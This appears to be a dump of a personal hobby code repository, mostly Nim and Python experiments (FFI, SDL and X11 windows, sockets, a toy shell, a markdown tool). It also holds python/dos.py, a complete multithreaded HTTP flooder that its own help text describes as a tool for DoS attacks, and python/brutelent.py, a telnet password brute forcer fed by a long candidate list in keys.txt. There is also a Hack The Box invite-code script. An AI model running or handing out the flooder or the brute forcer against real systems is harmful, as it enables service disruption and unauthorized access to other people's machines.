-------------------------------------------------------------------------------- /nim/py_nim/slow_py.py: -------------------------------------------------------------------------------- 1 | import time 2 | from fast_nimpy import fib 3 | 4 | if __name__ == "__main__": 5 | x = 40 6 | start = time.time() 7 | res = fib(x) 8 | elapsed = time.time() - start 9 | print("Py3 Computed fib(%s)=%s in %0.2f seconds" % (x, res, elapsed)) 10 | -------------------------------------------------------------------------------- /nim/pynim.nim: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | proc summer*(x, y: int): int {.exportc, dynlib.} = 4 | result = x + y 5 | 6 | 7 | -------------------------------------------------------------------------------- /nim/pynim.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | 3 | def main(): 4 | test_lib = CDLL('./libpynim.so') 5 | test_lib.summer.restype = c_int32 6 | 7 | sum_res = test_lib.summer(1, 3) 8 | 9 | print(sum_res) 10 | 11 | if __name__ == '__main__': 12 | main() 13 | -------------------------------------------------------------------------------- /nim/rand.nim: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | randomize() 4 | echo(rand(1.0)) 5 | 6 | -------------------------------------------------------------------------------- /nim/randomtest.nim: -------------------------------------------------------------------------------- 1 | import pkg/random 2 | 3 | echo urandom(10) 4 | -------------------------------------------------------------------------------- /nim/re.nim: -------------------------------------------------------------------------------- 1 | import rdstdin 2 | 3 | var s: string 4 | s = readLineFromStdin("enter pass: ") 5 | 6 | if s == "s3kr1t": 7 | echo("yes!") 8 | else: 9 | echo("nope!") 10 | -------------------------------------------------------------------------------- /nim/readline.nim: -------------------------------------------------------------------------------- 1 | import rdstdin 2 | 3 | discard readLineFromStdin("> ") 4 | -------------------------------------------------------------------------------- /nim/scf/test.nimf: -------------------------------------------------------------------------------- 1 | #? stdtmpl(subsChar = '$', metachar = '#') 2 | #proc generateHTML(name, age: string): string = 3 | # result = "" 4 | 5 | 6 | $name: $age 7 | 8 | 9 | -------------------------------------------------------------------------------- /nim/scf/x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/nim/scf/x -------------------------------------------------------------------------------- /nim/scf/x.nim: -------------------------------------------------------------------------------- 1 | include "test.nimf" 2 | 3 | echo generateHTML("test", "123") 4 | -------------------------------------------------------------------------------- /nim/sdl.nim: -------------------------------------------------------------------------------- 1 | import sdl2 2 | 3 | type SDLException = object of Exception 4 | 5 | template sdlFailIf(cond: typed, reason: string) = 6 | if cond: raise SDLException.newException( 7 | reason & ", SDL error: " & $getError()) 8 | 9 | proc main = 10 | sdlFailIf(not sdl2.init(INIT_VIDEO or INIT_TIMER or INIT_EVENTS)): 11 | "SDL2 initialization failed" 12 | 13 | # defer blocks get called at the end of the procedure, even if an 14 | # exception has been thrown 15 | defer: sdl2.quit() 16 | 17 | sdlFailIf(not setHint("SDL_RENDER_SCALE_QUALITY", "2")): 18 | "Linear texture filtering could not be enabled" 19 | 20 | let window = createWindow(title = "Our own 2D platformer", 21 | x = SDL_WINDOWPOS_CENTERED, y = SDL_WINDOWPOS_CENTERED, 22 | w = 1280, h = 720, flags = SDL_WINDOW_SHOWN) 23 | sdlFailIf window.isNil: "Window could not be created" 24 | defer: window.destroy() 25 | 26 | let renderer = window.createRenderer(index = -1, 27 | flags = Renderer_Accelerated or Renderer_PresentVsync) 28 | sdlFailIf renderer.isNil: "Renderer could not be created" 29 | defer: renderer.destroy() 30 | 31 | # Set the default color to use for drawing 32 | renderer.setDrawColor(r = 110, g = 132, b = 174) 33 | 34 | # Game loop, draws each frame 35 | while true: 36 | # Draw over all drawings of the last frame with the default 37 | # color 38 | renderer.clear() 39 | # Show the result on screen 40 | renderer.present() 41 | 42 | main() 43 | -------------------------------------------------------------------------------- /nim/seq.nim: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /nim/shell.nim: -------------------------------------------------------------------------------- 1 | # DON'T RUN THIS 2 | 3 | import osproc 4 | 5 | var p = execProcess("nim c -r shell.nim") 6 | echo 7 | -------------------------------------------------------------------------------- /nim/shell/stage1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/nim/shell/stage1 -------------------------------------------------------------------------------- /nim/shell/stage1.nim: -------------------------------------------------------------------------------- 1 | # fork, exec, wait 2 | import posix 3 | import strutils 4 | import os 5 | import sequtils 6 | 7 | proc handler() {.noconv.} = 8 | stdout.write("\n$ ") 9 | stdout.flushFile() 10 | 11 | var 12 | status: cint 13 | pid: Pid 14 | wpid: Pid 15 | line: cstringArray 16 | 17 | while true: 18 | setControlChook(handler) 19 | stdout.write("$ ") 20 | stdout.flushFile() 21 | try: 22 | line = stdin.readLine.splitWhitespace.allocCStringArray 23 | pid = fork() 24 | if pid == 0: 25 | if line[0] == "\n": 26 | line[0] = "\0" 27 | status = execvp(line[0], line) 28 | elif pid < 0: 29 | stdout.write("error in fork()ing") 30 | else: 31 | wpid = waitpid(pid, status, WUNTRACED) 32 | line.deallocCStringArray 33 | except EOFError: 34 | quit 0 35 | -------------------------------------------------------------------------------- /nim/so.nim: -------------------------------------------------------------------------------- 1 | proc nms_exec(s: cstring): cstring {.importc, dynlib: "/usr/local/lib/libnms.so".} 2 | proc nms_set_auto_decrypt(i: cint) {.importc, dynlib: "/usr/local/lib/libnms.so".} 3 | proc nms_set_foreground_color(s: cstring) {.importc, dynlib: "/usr/local/lib/libnms.so".} 4 | 5 | 6 | nms_set_foreground_color("green") 7 | nms_set_auto_decrypt(1) 8 | echo nms_exec("auto decrypiting") 9 | -------------------------------------------------------------------------------- /nim/sockets.nim: -------------------------------------------------------------------------------- 1 | import net 2 | 3 | var socket= newSocket() 4 | socket.connect("google.com", Port(80)) 5 | 6 | echo socket.recv(500) 7 | -------------------------------------------------------------------------------- /nim/split.nim: -------------------------------------------------------------------------------- 1 | import rdstdin, strutils, osproc 2 | 3 | try: 4 | while true: 5 | var lel = readLineFromStdin("> ") 6 | var args = lel.splitWhitespace() 7 | var p = startProcess(args[0], "", @["ls"]) 8 | 9 | except IOError: 10 | echo "Bye!" 11 | -------------------------------------------------------------------------------- /nim/stdin_sockets.nim: -------------------------------------------------------------------------------- 1 | import net 2 | 3 | var server = newSocket() 4 | server.bindAddr(Port(2222)) 5 | server.listen() 6 | 7 | var client = new Socket 8 | server.accept(client) 9 | 10 | echo(client.recvLine()) 11 | 12 | -------------------------------------------------------------------------------- /nim/test.nim: -------------------------------------------------------------------------------- 1 | type MyType = object 2 | discard 3 | 4 | template toSeq(iter: untyped): untyped = 5 | var result: type(iter) = 1 6 | 7 | iterator foo(a: MyType): int = 8 | discard 9 | 10 | const v = MyType() 11 | 12 | toSeq(v.foo) 13 | -------------------------------------------------------------------------------- /nim/test2.nim: -------------------------------------------------------------------------------- 1 | import ospaths 2 | 3 | var test = "~/client.ovpn" 4 | echo expandTilde(test) 5 | -------------------------------------------------------------------------------- /nim/test3.nim: -------------------------------------------------------------------------------- 1 | import libsha/sha256 2 | 3 | var 4 | str = "icy" & $1 & "kek" & $256 5 | icy = sha256hexdigest(str) 6 | 7 | echo icy 8 | -------------------------------------------------------------------------------- /nim/testing.nim: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | suite "some description here": 4 | echo("suite setup running or whatever") 5 | 6 | setup: 7 | echo("runs before each test") 8 | 9 | teardown: 10 | echo("runs after each test") 11 | 12 | test "essential truths": 13 | require(true) 14 | 15 | test "slightly less obvious stuff": 16 | check(1 != 1) 17 | check("asd"[2] == 'd') 18 | 19 | test "out of bounds error should be thrown": 20 | let v = @[1, 2, 3] 21 | expect(IndexError): 22 | discard v[4] 23 | 24 | echo("suite teardown running") 25 | 26 | 27 | -------------------------------------------------------------------------------- /nim/time.nim: -------------------------------------------------------------------------------- 1 | import times 2 | 3 | var t = getTime() 4 | echo(t.format"yyyy-MM-dd"), "T", t.format("HH:MM:ss"), ".", t.format("fff")) 5 | -------------------------------------------------------------------------------- /nim/tuples.nim: -------------------------------------------------------------------------------- 1 | var kek: tuple[file: string, path: string] 2 | kek[0] = readLine(stdin) 3 | kek[1] = readLine(stdin) 4 | 5 | echo kek 6 | -------------------------------------------------------------------------------- /nim/types.nim: -------------------------------------------------------------------------------- 1 | import typetraits 2 | 3 | var lel: string = "lle" 4 | var i: int = 1 5 | 6 | proc kek(): bool = 7 | if lel.type.name == "string" and 8 | i.type.name == "int": 9 | return true 10 | else: 11 | return false 12 | 13 | echo kek() 14 | 15 | -------------------------------------------------------------------------------- /nim/uni.nim: -------------------------------------------------------------------------------- 1 | import unicode 2 | 3 | let s = "𝕝𝕞𝕒𝕠" 4 | for u in s.utf8(): 5 | echo u 6 | -------------------------------------------------------------------------------- /nim/x11/example.nim: -------------------------------------------------------------------------------- 1 | import x11 2 | const 3 | WINDOW_WIDTH = 400 4 | WINDOW_HEIGHT = 300 5 | 6 | var 7 | width, height: cuint 8 | display: PDisplay 9 | screen: cint 10 | depth: int 11 | win: TWindow 12 | sizeHints: TXSizeHints 13 | wmDeleteMessage: TAtom 14 | running: bool 15 | xev: TXEvent 16 | display_string = "Hello, Nimrods." 17 | 18 | proc create_window = 19 | width = WINDOW_WIDTH 20 | height = WINDOW_HEIGHT 21 | 22 | display = XOpenDisplay(nil) 23 | if display == nil: 24 | quit "Failed to open display" 25 | 26 | screen = XDefaultScreen(display) 27 | depth = XDefaultDepth(display, screen) 28 | var rootwin = XRootWindow(display, screen) 29 | win = XCreateSimpleWindow(display, rootwin, 100, 10, 30 | width, height, 5, 31 | XBlackPixel(display, screen), 32 | XWhitePixel(display, screen)) 33 | size_hints.flags = PSize or PMinSize or PMaxSize 34 | size_hints.min_width = width.cint 35 | size_hints.max_width = width.cint 36 | size_hints.min_height = height.cint 37 | size_hints.max_height = height.cint 38 | discard XSetStandardProperties(display, win, "Simple Window", "window", 39 | 0, nil, 0, addr(size_hints)) 40 | discard XSelectInput(display, win, ButtonPressMask or KeyPressMask or 41 | PointerMotionMask or ExposureMask) 42 | discard XMapWindow(display, win) 43 | 44 | wmDeleteMessage = XInternAtom(display, "WM_DELETE_WINDOW", false.TBool) 45 | discard XSetWMProtocols(display, win, wmDeleteMessage.addr, 1) 46 | running = true 47 | 48 | proc close_window = 49 | discard XDestroyWindow(display, win) 50 | discard XCloseDisplay(display) 51 | 52 | proc draw_screen = 53 | discard XDrawString(display,win, DefaultGC(display,screen), 10,50, display_string.cstring, display_string.len.cint) 54 | 55 | proc handle_event = 56 | discard XNextEvent(display, xev.addr) 57 | case xev.theType 58 | of Expose: 59 | draw_screen() 60 | of ClientMessage: 61 | if cast[TAtom](xev.xclient.data.l[0]) == wmDeleteMessage: 62 | running = false 63 | of KeyPress: 64 | var key = XLookupKeysym(cast[PXKeyEvent](xev.addr), 0) 65 | if key != 0: 66 | echo "Keyboard event" 67 | of ButtonPressMask, PointerMotionMask: 68 | echo "Mouse event" 69 | else: 70 | discard 71 | #echo "Unhandled event ", xev.theType 72 | 73 | create_window() 74 | while running: 75 | handle_event() 76 | close_window() 77 | 78 | -------------------------------------------------------------------------------- /nim/x11/tinywm.nim: -------------------------------------------------------------------------------- 1 | import x11/xlib, x11/xutil, x11/x, x11/keysym 2 | 3 | var 4 | dpy = XOpenDisplay(nil) 5 | start: TXButtonEvent 6 | ev: TXEvent 7 | attr: TXWindowAttributes 8 | 9 | if dpy == nil: quit 1 10 | 11 | discard dpy.XGrabKey(dpy.XKeysymToKeycode(XStringToKeysym("F1")).cint, Mod4Mask, dpy.XDefaultRootWindow, 1, GrabModeAsync, GrabModeAsync) 12 | discard dpy.XGrabButton(1, Mod4Mask, dpy.XDefaultRootWindow, 1, ButtonPressMask or ButtonReleaseMask or PointerMotionMask, GrabModeAsync, GrabModeAsync, None, None) 13 | discard dpy.XGrabButton(3, Mod4Mask, dpy.XDefaultRootWindow, 1, ButtonPressMask or ButtonReleaseMask or PointerMotionMask, GrabModeAsync, GrabModeAsync, None, None) 14 | 15 | while true: 16 | discard dpy.XNextEvent(addr ev) 17 | echo "Type: ", ev.theType, ", subwindow: ", ev.xkey.subwindow, " ", ev.xbutton.subwindow, " ", start.subwindow 18 | if ev.theType == KeyPress and ev.xkey.subwindow.culong != None: 19 | discard dpy.XRaiseWindow(ev.xkey.subwindow) 20 | elif ev.theType == ButtonPress and ev.xbutton.subwindow.culong != None: 21 | discard dpy.XGetWindowAttributes(ev.xbutton.subwindow, addr attr) 22 | start = ev.xbutton 23 | elif ev.theType == MotionNotify and start.subwindow.culong != None: 24 | let 25 | xdiff = ev.xbutton.x_root - start.x_root 26 | ydiff = ev.xbutton.y_root - start.y_root 27 | discard dpy.XMoveResizeWindow(start.subwindow, 28 | cint(attr.x + (if start.button == 1: xdiff else: 0)), 29 | cint(attr.y + (if start.button == 1: ydiff else: 0)), 30 | cuint(max(1, attr.width + (if start.button == 3: xdiff else: 0))), 31 | cuint(max(1, attr.height + (if start.button == 3: ydiff else: 0)))) 32 | elif ev.theType == ButtonRelease: 33 | start.subwindow = None 34 | 35 | -------------------------------------------------------------------------------- /nim/zipp.nim: -------------------------------------------------------------------------------- 1 | import miniz 2 | 3 | let 4 | str = "test string" 5 | zstr = compress(str, level=11) 6 | 7 | echo zstr 8 | -------------------------------------------------------------------------------- /python/brutelent.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import time 3 | host = '192.168.43.223' 4 | port = 23 5 | 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((host, port)) 9 | 10 | f = open('keys.txt') 11 | print('[*] waiting for response') 12 | print(s.recv(4096)) 13 | print('[*] sending an initial warmup string') 14 | s.send('lmao\n') 15 | print(s.recv(4096)) 16 | s.send('56nlj0&') 17 | print(s.recv(4096)) 18 | time.sleep(1) 19 | for l in f: 20 | print('[*] sending ' + l) 21 | s.send(l + '\n') 22 | data = s.recv(4096) 23 | if 'Wrong' not in data: 24 | break 25 | else: 26 | print(data) 27 | 28 | print('[!] nope, nothing mate') 29 | -------------------------------------------------------------------------------- /python/cursess.py: -------------------------------------------------------------------------------- 1 | import curses 2 | stdscr = curses.initscr() 3 | 4 | # init 5 | curses.noecho() 6 | curses.cbreak() 7 | stdscr.keypad(True) 8 | 9 | for i in range(0, 11): 10 | v = 1-10 11 | stdscr.addstr(i, 0, '10 div by {} is {}'.format(v, 10/v)) 12 | stdscr.refresh() 13 | stdscr.getkey() 14 | 15 | 16 | # terminate 17 | curses.nocbreak() 18 | stdscr.keypad(False) 19 | curses.echo() 20 | curses.endwin() 21 | -------------------------------------------------------------------------------- /python/discount/libmarkdown.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/python/discount/libmarkdown.so -------------------------------------------------------------------------------- /python/discount/test.md: -------------------------------------------------------------------------------- 1 | # lol 2 | ## more lols 3 | 4 | > quotes 5 | > and 6 | > shiit 7 | 8 | `some code` 9 | 10 | ``` 11 | code blocks 12 | are cool 13 | ``` 14 | -------------------------------------------------------------------------------- /python/discount/x.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | 3 | lm = CDLL("./libmarkdown.so") 4 | 5 | with open("./test.md") as f: 6 | p = create_string_buffer(bytes(f.read(), "UTF-8")) 7 | 8 | doc = lm.mkd_string(p, sizeof(p)) 9 | print(doc) 10 | -------------------------------------------------------------------------------- /python/dos.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | import threading 4 | import random 5 | import re 6 | import argparse 7 | 8 | host='' 9 | headers_useragents=[] 10 | request_counter=0 11 | printedMsgs = [] 12 | 13 | def printMsg(msg): 14 | if msg not in printedMsgs: 15 | print ("\n"+msg + " after %i requests" % request_counter) 16 | printedMsgs.append(msg) 17 | 18 | def useragent_list(): 19 | global headers_useragents 20 | headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') 21 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 22 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') 23 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') 24 | headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') 25 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') 26 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') 27 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') 28 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') 29 | headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') 30 | headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') 31 | headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') 32 | return(headers_useragents) 33 | 34 | def randomString(size): 35 | out_str = '' 36 | for i in range(0, size): 37 | a = random.randint(65, 90) 38 | out_str += chr(a) 39 | return(out_str) 40 | 41 | def initHeaders(): 42 | useragent_list() 43 | global headers_useragents, additionalHeaders 44 | headers = { 45 | 'User-Agent': random.choice(headers_useragents), 46 | 'Cache-Control': 'no-cache', 47 | 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 48 | 'Referer': 'http://www.google.com/?q=' + randomString(random.randint(5,10)), 49 | 'Keep-Alive': str(random.randint(110,120)), 50 | 'Connection': 'keep-alive' 51 | } 52 | 53 | if additionalHeaders: 54 | for header in additionalHeaders: 55 | headers.update({header.split(":")[0]:header.split(":")[1]}) 56 | return headers 57 | 58 | def handleStatusCodes(status_code): 59 | global request_counter 60 | sys.stdout.write("\r%i requests has been sent" % request_counter) 61 | sys.stdout.flush() 62 | if status_code == 429: 63 | printMsg("You have been throttled") 64 | if status_code == 500: 65 | printedMsg("Status code 500 received") 66 | 67 | def sendGET(url): 68 | global request_counter 69 | headers = initHeaders() 70 | try: 71 | request_counter+=1 72 | request = requests.get(url, headers=headers) 73 | # print 'her' 74 | handleStatusCodes(request.status_code) 75 | except: 76 | pass 77 | 78 | def sendPOST(url, payload): 79 | global request_counter 80 | headers = initHeaders() 81 | try: 82 | request_counter+=1 83 | if payload: 84 | request = requests.post(url, data=payload, headers=headers) 85 | else: 86 | request = requests.post(url, headers=headers) 87 | handleStatusCodes(request.status_code) 88 | except: 89 | pass 90 | 91 | class SendGETThread(threading.Thread): 92 | def run(self): 93 | try: 94 | while True: 95 | global url 96 | sendGET(url) 97 | except: 98 | pass 99 | 100 | class SendPOSTThread(threading.Thread): 101 | def run(self): 102 | try: 103 | while True: 104 | global url, payload 105 | sendPOST(url, payload) 106 | except: 107 | pass 108 | 109 | 110 | # TODO: 111 | # check if the site stop responding and alert 112 | 113 | def main(argv): 114 | parser = argparse.ArgumentParser(description='Sending unlimited amount of requests in order to perform DoS attacks. Written by Barak Tawily') 115 | parser.add_argument('-g', help='Specify GET request. Usage: -g \'\'') 116 | parser.add_argument('-p', help='Specify POST request. Usage: -p \'\'') 117 | parser.add_argument('-d', help='Specify data payload for POST request', default=None) 118 | parser.add_argument('-ah', help='Specify addtional header/s. Usage: -ah \'Content-type: application/json\' \'User-Agent: Doser\'', default=None, nargs='*') 119 | parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int) 120 | args = parser.parse_args() 121 | 122 | global url, payload, additionalHeaders 123 | additionalHeaders = args.ah 124 | payload = args.d 125 | 126 | if args.g: 127 | url = args.g 128 | for i in range(args.t): 129 | t = SendGETThread() 130 | t.start() 131 | 132 | if args.p: 133 | url = args.p 134 | for i in range(args.t): 135 | t = SendPOSTThread() 136 | t.start() 137 | 138 | if len(sys.argv)==1: 139 | parser.print_help() 140 | exit() 141 | 142 | if __name__ == "__main__": 143 | main(sys.argv[1:]) 144 | -------------------------------------------------------------------------------- /python/inviteCode.py: -------------------------------------------------------------------------------- 1 | """ 2 | Rules 1: We know that nobody sent you the invite code 3 | You don't have to inform anyone about "hacking" the invite code 4 | 5 | Dont spoil ! I'am using this script to speed up the process ! try first to solve it 6 | By Ihebski 7 | """ 8 | import requests 9 | import base64 10 | import json 11 | print "[+] Hackthebox invite Code" 12 | print "[+] connect to server hackthebox.eu ..." 13 | print "[+] Invite Code : ",base64.b64decode(requests.post("https://www.hackthebox.eu/api/invite/generate", json={"key": "value"}).json()["data"]["code"]) 14 | -------------------------------------------------------------------------------- /python/keys.txt: -------------------------------------------------------------------------------- 1 | XH}< 2 | TJJ* 3 | Y#pU 4 | +h1 7 | "lurBI,jQ 8 | WO?p 9 | ta[9 10 | W5ei 11 | xsNO 12 | A^Ss: 13 | =c'X 14 | 1z$u 15 | y.0p 16 | ~)x/ 17 | A$BR 18 | *E39 19 | %)t: 20 | Q_w|M 21 | ;`IKXW 22 | l~}z 23 | AlrV 24 | Si7q2 25 | WJl$T$ 26 | /#H~ 27 | r_ t 28 | |=ykq 29 | .VZD 30 | ErzE 31 | ofz, 32 | sw>8 33 | z}s[ 34 | w"&]ar 35 | w!Mx 36 | :v<| 37 | 9QwA 38 | fU:z 39 | U~6# 40 | Z#xJ 41 | v~0& 42 | b_ 43 | O[,p 44 | =d*} 45 | m^}^ 46 | 8m! 47 | m#e 48 | ~|JS 49 | 6__'G 50 | <36(x 51 | M ;^~ 52 | 0.VskM\N 53 | ViSL 54 | g]oyK 55 | Ma9k$ 56 | -b1~ 57 | qv}| 58 | 01@P 59 | "#$4 60 | 235A%&6 61 | Q/)@ 62 | eT]\r 63 | g3gO 64 | (5>}N 65 | J%2g 66 | n#FL 67 | gqBB 68 | l%]:U 69 | jt?) 70 | +:t`n 71 | N4\2 72 | EuEp 73 | FlZ9 74 | (Vxvw 75 | qi " 76 | A7;{ 77 | r;SXY 78 | IUTE 79 | 5< e 80 | "#n&d 81 | n 123 | CE)_ 124 | !u"f3 125 | y7U) 126 | 02QBa#R 127 | 5ML#o 128 | M%G} 129 | X-+u 130 | aXT0 131 | u-`6na5 132 | k~HUr 133 | |A\+ 134 | r+e8 135 | XlU( 136 | }![" 137 | [R.[ 138 | 2Nxh 139 | Nv#~ 140 | ]quS 141 | a=5k10 142 | mQ$'G 143 | o1U? 144 | *=z"o 145 | Mw)z 146 | gt;z 147 | "02@AQ 148 | Baq34RPr 149 | cyetO[,p 150 | =d*} 151 | m^}^ 152 | 8m! 153 | ml#e 154 | ~|JS 155 | 6__'G 156 | <36(x 157 | M ;^~ 158 | 0.VskM\N 159 | ViSL 160 | g]oyK 161 | Ma9k$ 162 | -b1~ 163 | qv}| 164 | 01@P 165 | "#$4 166 | 235A%&6 167 | Q/)@ 168 | eT]\r 169 | g3gO 170 | (5>}N 171 | J%2g 172 | n#FL 173 | gqBB 174 | l%]:U 175 | jt?) 176 | +:t`n 177 | N4\2 178 | EuEp 179 | FlZ9 180 | (Vxvw 181 | qi " 182 | A7;{ 183 | r;SXY 184 | IUTE 185 | 5< e 186 | "#n&d 187 | n 229 | CE)_ 230 | !u"f3 231 | y7U) 232 | 02QBa#R 233 | 5ML#o 234 | M%G} 235 | X-+u 236 | aXT0 237 | u-`6na5 238 | k~HUr 239 | |A\+ 240 | r+e8 241 | XlU( 242 | }![" 243 | [R.[ 244 | 2Nxh 245 | Nv#~ 246 | ]quS 247 | a=5k10 248 | mQ$'G 249 | o1U? 250 | *=z"o 251 | yoyw)z 252 | gt;z 253 | "02@AQ 254 | #Baq34RPr 255 | cQD 256 | s>#' 257 | {}B$ 258 | G>7[ 259 | g*nV 260 | q`.Ms 261 | uMiq 262 | -Us3 292 | Es5!= 293 | yC* 294 | tN5j 295 | 1QhF 296 | k(EV 297 | Q#~kH 298 | yxV5o1 299 | `yKt 300 | be=W*, 301 | r,L4 302 | "(wc 303 | Yq X 304 | PPCo 305 | BT72k 306 | r)QX 307 | RaN3 308 | UM$: 309 | uZef 310 | CMt)C 311 | TM-SW 312 | 5B4` 313 | :0~9 314 | R2R 315 | 2S`q- 316 | qHQ9 317 | VPl! 318 | Sz[U 319 | @Z?8KI 320 | RkZfq 321 | &*7@'m7* 322 | dM#P 323 | ^&,6 324 | 1=eK 325 | jRa+ 326 | |GI0 327 | 5YW8 328 | @RMR 329 | --.R 330 | ,3014 331 | ;3v@ 332 | 4eyA 333 | iZWT 334 | k[)o 335 | [KzG:n^b 336 | XZM@I 337 | x,p9 338 | E4)W 339 | B\mV 340 | ^a,4 341 | T^9j} 342 | T*U|Q 343 | b;#Q 344 | Q}4\c 345 | 7%?; 346 | 4YA6 347 | Z.e{ 348 | Od0V 349 | $pNb 350 | uqVd00 351 | (sUXm 352 | q'1m 353 | w8 MH 354 | Zu<# 355 | f&2L 356 | HZ:*#2X 357 | )iA< 358 | (ffT 359 | bNd\ 360 | IxT8 361 | D!!#3R 362 | 3M9R 363 | ^br| 364 | }3N* 365 | 'zSlw_ 366 | :U%V 367 | XZ2{a 368 | h@RM 369 | bhYs 370 | AL*Mw;. 371 | 525{w} 372 | GAw~ 373 | ;53{ 374 | S&WM 375 | Ap,%A^8 376 | HS|0 377 | 3.%Gi 378 | F|2EF 379 | 8(W3 380 | }}MB*#[' 381 | X{q0 382 | \)p$` 383 | P/'0 384 | PJ]> 385 | %"o; 386 | P#' 421 | {}B$ 422 | G>7[ 423 | g*nV 424 | q`.Ms 425 | uMiq 426 | -Us3 447 | Es5!= 448 | yC* 449 | tN5j 450 | 1QhF 451 | k(EV 452 | Q#~kH 453 | yxV5o1 454 | `yKt 455 | be=W*, 456 | r,L4 457 | "(wc 458 | Yq X 459 | PPCo 460 | BT72k 461 | r)QX 462 | RaN3 463 | UM$: 464 | uZef 465 | CMt)C 466 | TM-SW 467 | 5B4` 468 | :0~9 469 | R2R 470 | 2S`q- 471 | qHQ9 472 | VPl! 473 | Sz[U 474 | @Z?8KI 475 | RkZfq 476 | &*7@'m7* 477 | dM#P 478 | ^&,6 479 | 1=eK 480 | jRa+ 481 | |GI0 482 | 5YW8 483 | @RMR 484 | --.R 485 | ,3014 486 | ;3v@ 487 | 4eyA 488 | iZWT 489 | k[)o 490 | [KzG:n^b 491 | XZM@I 492 | x,p9 493 | E4)W 494 | B\mV 495 | ^a,4 496 | T^9j} 497 | T*U|Q 498 | b;#Q 499 | Q}4\c 500 | 7%?; 501 | 4YA6 502 | Z.e{ 503 | Od0V 504 | $pNb 505 | uqVd00 506 | (sUXm 507 | q'1m 508 | w8 MH 509 | Zu<# 510 | f&2L 511 | HZ:*#2X 512 | )iA< 513 | (ffT 514 | bNd\ 515 | IxT8 516 | D!!#3R 517 | 3M9R 518 | ^br| 519 | }3N* 520 | 'zSlw_ 521 | :U%V 522 | XZ2{a 523 | h@RM 524 | bhYs 525 | AL*Mw;. 526 | 525{w} 527 | GAw~ 528 | ;53{ 529 | S&WM 530 | Ap,%A^8 531 | HS|0 532 | 3.%Gi 533 | F|2EF 534 | 8(W3 535 | }}MB*#[' 536 | X{q0 537 | \)p$` 538 | P/'0 539 | PJ]> 540 | %"o; 541 | P A literature management utility. 3 | -------------------------------------------------------------------------------- /python/litera/helpers/template.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/icyphox/asdf/151b63d2de5bf911445253cc6406d03d10ebcf5e/python/litera/helpers/template.py -------------------------------------------------------------------------------- /python/litera/litera/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Litera: A simple literature management utility. 4 | 5 | import markdown2 6 | import jinja2 7 | import os 8 | import sys 9 | import argparse 10 | from helpers import template 11 | 12 | 13 | def create_args(parser): 14 | parser.add_argument('init', 15 | help='Create a Litera project in the current directory.') 16 | parser.add_argument('') 17 | if sys.argv[1:] == 0: 18 | parser.print_help() 19 | parser.exit() 20 | args = parser.parse_args() 21 | return args 22 | 23 | 24 | def create_notebook(path): 25 | try: 26 | os.mkdir(os.path.join(path, 'build')) 27 | os.mkdir(os.path.join(path, 'templates')) 28 | except FileExistsError: 29 | print('Error: specified path exists.') 30 | 31 | 32 | def main(): 33 | parser = argparse.ArgumentParser(description='A basic literature management utility.') 34 | args = create_args(parser) 35 | if args.init: 36 | create_notebook(os.getcwd()) 37 | 38 | 39 | if __name__ == "__main__": 40 | main() 41 | -------------------------------------------------------------------------------- /python/make.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import jinja2 6 | import time 7 | import argparse 8 | import http.server 9 | import socketserver 10 | 11 | from markdown2 import markdown_path 12 | from huepy import * 13 | from distutils.dir_util import copy_tree 14 | from vite import vite 15 | 16 | # import config file 17 | try: 18 | sys.path.append(os.getcwd()) 19 | import config 20 | except ModuleNotFoundError: 21 | print(bad('Error: config.py not found.')) 22 | print(que('Are you sure you\'re in a project directory?')) 23 | sys.exit(1) 24 | 25 | 26 | # constants 27 | PAGES_PATH = 'pages/' 28 | BUILD_PATH = 'build/' 29 | TEMPL_PATH = 'templates/' 30 | TEMPL_FILE = TEMPL_PATH + config.template 31 | PORT = 1911 32 | 33 | 34 | # argument 